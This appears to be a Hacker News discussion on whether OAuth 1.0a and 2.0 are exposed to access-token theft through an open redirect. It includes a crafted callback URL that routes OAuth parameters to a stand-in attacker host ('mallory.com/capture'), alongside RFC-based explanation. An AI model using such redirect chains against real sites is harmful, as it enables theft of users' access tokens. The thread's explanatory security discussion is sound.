Hacker News Reader

Parent Full thread

jmathai

Example.com has an open redirect; say http://example.com/redirect?url=xxxxx

Craft the OAuth URL to Twitter passing the callback as http://example.com/redirect?url=http://mallory.com/capture.

Now Mallory can access the parameters passed back by Twitter at /capture on their server.

Questions:

1. You have to look at the referer to get the tokens, no?

2. OAuth 1.0a isn't vulnerable because the requests are signed with a secret, correct?

View on HN

my understanding is that OAuth 1.0a isn't vulnerable because in that spec, the access_token isn't part of the post-user-authorization redirect (http://tools.ietf.org/html/rfc5849#section-2.2) while it is in Oauth 2.0 (http://tools.ietf.org/html/rfc6749#section-4.2.2)

So, in Oauth 2.0 the redirect URI could be setup to expose the access token. In Oauth 1.0a, the only thing that could leak is the request token and verifier code, but without the original client credentials, they can't be exchanged for an access token.

Reply on news.ycombinator.com